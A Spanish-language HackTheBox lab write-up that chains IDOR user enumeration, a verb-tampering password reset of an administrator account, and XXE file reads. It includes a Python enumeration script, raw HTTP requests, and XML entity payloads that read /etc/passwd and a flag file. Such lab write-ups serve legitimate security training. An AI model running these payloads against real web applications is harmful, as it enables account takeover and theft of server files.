---
title: "Writeup Web Attacks - Skills Assessment — HackTheBox"
machine: "Web Attacks - Skills Assessment"
platform: "HackTheBox"
difficulty: "Medio"
operating_system: ["Linux", "Web"]
tags: ["web", "idor", "xxe", "tampering"]
author: "juanluismm520"
author_url: "https://www.writeups.es/u/juanluismm520"
source: "https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-09-27T15:40:49.215366+00:00"
updated: "2026-09-28T16:59:11.748949+00:00"
words: 228
reading_minutes: 1
summary: "Máquina que hay que encadenar, idor, con enumeración de usuarios, buscar al admin, cambiarle la contraseña mediante verb tampering y crear un evento vulenrable a XXE."
---# Web Attacks - Skills Assessment — HackTheBox

**Resumen:** Máquina que hay que encadenar, idor, con enumeración de usuarios, buscar al admin, cambiarle la contraseña mediante verb tampering y crear un evento vulenrable a XXE.

# Exploración de rutas
Navegando por la web vemos rutas que son interesantes que probablemente nos lleven a encadernar diferentes `IDORs`. Estas rutas son:
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/b7131ae8-9b01-49c9-9ed9-437363cb8c2a.webp)

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/dfd22090-b129-4f6b-a5b7-b34be9a6a622.webp)

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/f59cd2e5-e938-43ec-9de1-1fab4bcbfc5d.webp)

Además se debe encadenar en dicho orden, obtenemos el uid de un usuario administrador, obtenemos su token y luego le cambiamos la contraseña con el token. 

## Explotación IDOR + Verb Tampering
Con ayuda de una IA hacemos un script sencillo que recorre todos los usuarios `/api.php/user/{id}` del 0 al 200. 

### Código 
```python
#!/usr/bin/env python3

import csv
import requests

BASE_URL = "http://154.57.164.64:31147"
COOKIE = {
    "PHPSESSID": "h5ntuv948l6cimvs5mesgu72pd",
    "uid": "74",
}

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0",
    "Accept": "*/*",
    "Referer": f"{BASE_URL}/profile.php",
}

results = []

for uid in range(1, 201):
    url = f"{BASE_URL}/api.php/user/{uid}"

    try:
        r = requests.get(
            url,
            headers=headers,
            cookies=COOKIE,
            timeout=5
        )

        data = r.json()

        if isinstance(data, dict):
            data["_requested_uid"] = uid
            results.append(data)
            print(f"[+] UID {uid}: {data}")
        else:
            print(f"[-] UID {uid}: respuesta inesperada")

    except requests.RequestException as e:
        print(f"[!] UID {uid}: {e}")
    except ValueError:
        print(f"[-] UID {uid}: no es JSON")

# Todas las claves encontradas en cualquier respuesta
fields = set()

for row in results:
    fields.update(row.keys())

fields = sorted(fields)

with open("users.csv", "w", newline="", encoding="utf-8") as f:
    writer = csv.DictWriter(
        f,
        fieldnames=fields,
        extrasaction="ignore"
    )

    writer.writeheader()

    for row in results:
        writer.writerow(row)

print(f"\n[+] Guardado en users.csv")
print(f"[+] Usuarios encontrados: {len(results)}")
print(f"[+] Campos encontrados: {', '.join(fields)}")
```

### Hallazgo y explotación
Analizando el csv vemos que solo hay 100 usuarios (del 1 al 100) y que el número 52 tiene la compañía "Administrador"
```json
{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}
```

Nos interesa seguir por esta vía y probar que pasa. Cojamos su token mediante `/api.php/token/52`
```json
{"token":"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"}
```

Y ahora le cambiamos la contraseña y nos logueamos. Para ello
```http
POST /reset.php HTTP/1.1
Host: 154.57.164.66:31872
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.66:31872/settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Origin: http://154.57.164.66:31872
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52
Priority: u=4

uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=Test520!
```

Nos devuelve **Acces Denied** por lo que no ha sido tan fácil como esperabamos. 

Aplicamos `Verb Tampering` a la petición, cambiando `POST` por `GET`
```http
GET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=Test520! HTTP/1.1
Host: 154.57.164.66:31872
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.66:31872/settings.php
Origin: http://154.57.164.66:31872
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52
Priority: u=4
```

Obtenemos **Password changed successfully**, así que vamos a probarlo
Username: a.corrales
Pass: Test520!



## Explotación XXE
### Identificación
Una vez dentro vemos que podemos crear eventos
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7fd129ed-4eef-4774-9034-c4d8851d0def.webp)

Secillamente estamos ante `XXE` debido a la petición que es dada
```http
POST /addEvent.php HTTP/1.1
Host: 154.57.164.66:31872
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.66:31872/event.php
Content-Type: text/plain;charset=UTF-8
Content-Length: 158
Origin: http://154.57.164.66:31872
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52
Priority: u=4


            <root>
            <name>Event</name>
            <details>Details</details>
            <date>2026-09-09</date>
            </root>
```

Nos devuelve **Event 'Event' has been created.** por lo que tenemos el XXE en el campo `Event`

### Explotación
Para ello en la petición ponemos
```http
POST /addEvent.php HTTP/1.1
Host: 154.57.164.66:31872
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.66:31872/event.php
Content-Type: text/plain;charset=UTF-8
Content-Length: 224
Origin: http://154.57.164.66:31872
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52
Priority: u=4

<!DOCTYPE email [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
            <root>
            <name>&xxe;</name>
            <details>Details</details>
            <date>2026-09-09</date>
            </root>
            
```

Y la response nos devuelve
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7c9752a6-6089-4ed2-8ebd-e80ae8f4f817.webp)

Por lo que nos queda encontrar la flag. 

Usamos este código ahora
```xml
<!DOCTYPE email [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
]>
```

Y obtenemos así:

> [!SPOILER]
> ![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/7f2b0325-4c6b-4146-9709-64c18b0ca7b6.webp)

---

> Writeup de **juanluismm520** publicado en [writeups.es](https://www.writeups.es/writeups/hackthebox/web-attacks-skills-assessment/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
